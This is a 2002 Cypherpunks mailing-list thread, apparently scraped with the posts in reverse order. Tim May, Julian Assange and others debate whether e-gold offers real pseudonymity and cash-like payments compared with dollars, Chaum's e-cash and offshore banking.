> > Even if e-gold had no anonymity and pseudonymity capabilities, > > it is still a necessary infrastructure to support real e-cash, > > as there is no other internet medium that supports reasonably > > irrevocable and instant payments. Tim May: > My contention is that physical gold sitting in a warehouse in, > say, the Bank of Bermuda, is no different from a stack of $20 > bills sitting in that same bank. The difference comes when the physical stuff has to move in and out of the bank in Bermuda. The gold does not carry serial numbers, and if it does the bank can melt it down. The problem is not that the serial numbers permit attacks on the customers of the Bank in Bermuda, but that they permit attacks by the federal reserve on the Bank in Bermuda. This important difference gives the issuer of that stack of $20 bills more power to meddle if the bank in Bermuda is carrying $20 bills than if the bank in Bermuda is carrying bars of gold. Whether or not this is the reason that e-gold seems to be functioning in a more cashlike fashion than Paypal or any of its clones, the fact is that it *is* functioning in a more cashlike fashion than Paypal or any of its clones. Of course it might be that a bunch of gold nuts are just more likely to believe in real cashlike money than banking types, but whatever the reason, e-gold is right now the nearest thing to money you can use on the internet. > > But, in fact, it does have some limited anonymity and > > pseudonymity capabilities > > > > e-gold does not provide an anonymization mechanism, unlike > > Chaum's e-cash. But it does allow money that has been > > anonymized or pseudonymized in real space to then be moved > > electronically. Tim May: > No more so than "dollars" are moved electronically. First get your pseudonymous dollars. If you have already created a large supply of pseudonymous dollars, then naturally e-gold looks rather silly to you. But when you withdraw those pseudonymous dollars, they will have serial numbers, instantly creating a problem if you wish to make a large purchase of a good that will be associated with another identity. Thus when time comes to withdraw those pseudonymous dollars, e-gold will not look quite so silly. > Without physical delivery, who cares about actual form? Without physical delivery, who cares about whether the thing to be delivered exists or not? But private systems for moving value do sometimes have to make physical delivery. > > Let us suppose that someone takes his physical bag of gold, > > and opens an account. How can they connect the identity > > owning that account, to that person's other identities. Tim May: > The same is true of FRNs carried to a bank and deposited. > > (Yes, I know that such deposits would be nearly impossible to > make in the U.S. or in many other countries. Ditto for gold, > too. If the claim is that once dollars have been converted to > gold in an offshore bank then the offshore funds can be moved > more freely, this is so. But the same applies to dollars > converted to dollars or marks or francs in an offshore bank. The > actual _form_ of the money, whether in gold or platinum or marks > or dollars, is not even of _secondary_ importance.) In principle, offshore dollars could be moved around as easily as offshore gold. In practice it is not so. Perhaps one of the fans of offshore banking and financial structuring should set up an e-dollar that works as e-gold does. But reality is, so far they have not. > The _form_ of the money is not important. Only the trust that > delivery will happen (belief about the future behavior of > actors). > > There is nothing "magic" (pun intended) about the putative > denomination having the word "gold" in it. Your points about > untraceability would apply just as well if the units were > nominally in "dollars." Possibly. But such an e-dollar is merely potential, while the e-gold is actual. For example, if one wishes to purchase a domain name untraceably, one does so with e-gold. > > ...Absolutely true, but e-cash does need an underlying thing > > of value. At present interfacing to federal reserve notes is > > being made more and more difficult. Tim May: > The crackdown on money movements apply to all forms of money, in > all currencies or objects of value. If the underlying thing of value is federal reserve notes, then at some fairly recent point in the chain of ownership, those physical notes were in the hands of the federal reserve. If one dines with the devil, one needs a long spoon.If the underlying thing of value is gold, it probably was not in the hands of the federal reserve at any recent time. Thus the fed has a lot more leverage to crac
Re: E-Gold
> The crackdown on money movements apply to all forms of money, in all > currencies or objects of value. > > --Tim May Right. Control the transfer of value and in some sence you control the value itself. The value of an object is substantially and in some cases wholely dependent on its liquidity. Control the liquidity and you control its value. Control the value of an object and its owner will forever be your slave. Home ownership is a classic example. An object that's very costly for the owner to liquidate but easy for someone else to if you don't behave. -- Julian Assange|If you want to build a ship, don't drum up people |together to collect wood or assign them tasks and [EMAIL PROTECTED] |work, but rather teach them to long for the endless [EMAIL PROTECTED] |immensity of the sea. -- Antoine de Saint Exupery
Re: E-Gold
On Saturday, March 30, 2002, at 10:09 AM, [EMAIL PROTECTED] wrote: > Even if e-gold had no anonymity and pseudonymity capabilities, it > is still a necessary infrastructure to support real e-cash, as > there is no other internet medium that supports reasonably > irrevocable and instant payments. My contention is that physical gold sitting in a warehouse in, say, the Bank of Bermuda, is no different from a stack of $20 bills sitting in that same bank. Both are stores of value to some people. Arguing that gold is intrinsically more valuable than Federal Reserve Notes is not useful in this particular debate. Furthermore, if that pile of gold or stack of FRNs is used to then transfer some other store of value at some remote site, who cares what form it was once in? > But, in fact, it does have some limited anonymity and pseudonymity > capabilities > > e-gold does not provide an anonymization mechanism, unlike Chaum's > e-cash. But it does allow money that has been anonymized or > pseudonymized in real space to then be moved electronically. No more so than "dollars" are moved electronically. When a bank moves trillions around via SWIFT, it is of course not moving dollars. It's just changing marks in a book. So, too, with gold or platinum or Yap stones. Without physical delivery, who cares about actual form? (Yeah, the issue of gold vs. FRNs is an interesting one, but it's orthogonal to the issue of warehouse receipts.) > Let us suppose that someone takes his physical bag of gold, and > opens an account. How can they connect the identity owning that > account, to that person's other identities. The same is true of FRNs carried to a bank and deposited. (Yes, I know that such deposits would be nearly impossible to make in the U.S. or in many other countries. Ditto for gold, too. If the claim is that once dollars have been converted to gold in an offshore bank then the offshore funds can be moved more freely, this is so. But the same applies to dollars converted to dollars or marks or francs in an offshore bank. The actual _form_ of the money, whether in gold or platinum or marks or dollars, is not even of _secondary_ importance.) > Alternatively, suppose someone goes to a cypherpunk meeting, and > buys some e-gold from someone else at the cypherpunk meeting, use > ordinary dollars and the sellers web enabled cell phone. He now > has an electronic medium of exchange that can only be traced to > those ordinary dollars. The _form_ of the money is not important. Only the trust that delivery will happen (belief about the future behavior of actors). There is nothing "magic" (pun intended) about the putative denomination having the word "gold" in it. Your points about untraceability would apply just as well if the units were nominally in "dollars." > ...Absolutely true, but e-cash does need an underlying thing of > value. At present interfacing to federal reserve notes is being > made more and more difficult. The crackdown on money movements apply to all forms of money, in all currencies or objects of value. I've seen no convincing arguments from the E-gold enthusiasts that E-gold is anything more than "magical thinking." --Tim May "Dogs can't conceive of a group of cats without an alpha cat." --David Honig, on the Cypherpunks list, 2001-11
Re: E-Gold
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 James wrote: >It would seem far more sensible, since the US dollar is now far >better accepted as a medium of exchange, to have something like >e-gold, but providing convertibility to Federal Reserve dollars, >based on fractional reserves. Interesting thought, but have you worked out what kind of mechanism you'd use to implement this without undermining your system? Seems problematic, but a lot better than nothing. What Would Mises Do? ;) More generally, it's seems you'll have an uphill psychological battle trying to convince your average gold bug with a closet-safe full of coins to buy into the non-tangible cypherspace version--warranted or not, just the mention of the phrase "fractional reserve" might be enough to spook them away. What advantages can you offer that will convince "Joe Gold Bug" he's better off trusting you than keeping his physical gold in his physical hands? Or is this yet another case of designing crypto systems for those who already know enough to appreciate them, the un-Elect be damned? As the owner of a portable closet-safe full of silver myself, I think the trust issues need a little more resolution before I start anonymously turning over my assets online. Actually, a lot more, in light of the recent news. Oh well, any links or pointers that deal specifically with the trust question would be welcome. ~~Faustine. *** He that would make his own liberty secure must guard even his enemy from oppression; for if he violates this duty he establishes a precedent that will reach to himself. - --Thomas Paine -BEGIN PGP SIGNATURE- Version: PGPsdk version 1.7.1 (C) 1997-1999 Network Associates, Inc. and its affiliated companies. (Diffie-Helman/DSS-only version) iQA/AwUBPKZgx/g5Tuca7bfvEQInLACdFH/zqxTycxRMjTQFD+xicxhDsjYAn0ic FLQbzgbdcohUJBxYihgdTNNF =R0en -END PGP SIGNATURE-
Re: E-Gold
Tim May: > > > This episode, and the likely fizzling of the silly "E-Gold" > > > scheme, is a useful object lesson. Someone: > > e-gold is working fine, though there seem to be a huge number > > of ponzi schemes seeking e-gold. > > > > The fundamental pseudonymization mechanism of e-gold is that > > you can melt down gold. Let them trace that! Tim May: > If the gold is shipped, traceability is trivial (pace the usual > issues with physical deliveries). > > If the gold is _not_ shipped, and is stored in some repository, > then the E-gold is noting more than a warehouse receipt. But in both cases, who is the receipt made out to? Even if e-gold had no anonymity and pseudonymity capabilities, it is still a necessary infrastructure to support real e-cash, as there is no other internet medium that supports reasonably irrevocable and instant payments. But, in fact, it does have some limited anonymity and pseudonymity capabilities e-gold does not provide an anonymization mechanism, unlike Chaum's e-cash. But it does allow money that has been anonymized or pseudonymized in real space to then be moved electronically. Let us suppose that someone takes his physical bag of gold, and opens an account. How can they connect the identity owning that account, to that person's other identities. Alternatively, suppose someone goes to a cypherpunk meeting, and buys some e-gold from someone else at the cypherpunk meeting, use ordinary dollars and the sellers web enabled cell phone. He now has an electronic medium of exchange that can only be traced to those ordinary dollars. > The interesting things about true digital cash (i.e., something > coming close to Chaum's early ideas) are about the > untraceability for both sides in a transaction, not whether the > "underlying" thing of value is a Federal Reserve Note, a Bank of > England Note, a gram of gold, or whatever. Absolutely true, but e-cash does need an underlying thing of value. At present interfacing to federal reserve notes is being made more and more difficult. It would seem far more sensible, since the US dollar is now far better accepted as a medium of exchange, to have something like e-gold, but providing convertibility to Federal Reserve dollars, based on fractional reserves. Call them, perhaps, e-dollars, or pay pal, or X.com, or any of the other one hundred and one competitors of paypal. But in practice all of these are not very money like. There are a number of reasons for this lack of money-ness, but one of the reasons is the federal reserve has never tolerated competion and is not going to start, and it is difficult to address that problem except by an infrastructure that transfers underlying things of value that are not Federal Reserve notes.
E-Gold
On Friday, March 29, 2002, at 08:33 PM, someone wrote: (I'd finished the reply below before noticing that the message was a personal one, not sent to the list. So I've changed the name to "someone.") > On 29 Mar 2002 at 8:03, Tim May wrote: >> This episode, and the likely fizzling of the silly "E-Gold" >> scheme, is a useful object lesson. > > e-gold is working fine, though there seem to be a huge number of > ponzi schemes seeking e-gold. > > The fundamental pseudonymization mechanism of e-gold is that you > can melt down gold. Let them trace that! > If the gold is shipped, traceability is trivial (pace the usual issues with physical deliveries). If the gold is _not_ shipped, and is stored in some repository, then the E-gold is noting more than a warehouse receipt. The interesting things about true digital cash (i.e., something coming close to Chaum's early ideas) are about the untraceability for both sides in a transaction, not whether the "underlying" thing of value is a Federal Reserve Note, a Bank of England Note, a gram of gold, or whatever. --Tim May "He who fights with monsters might take care lest he thereby become a monster. And if you gaze for long into an abyss, the abyss gazes also into you." -- Nietzsche
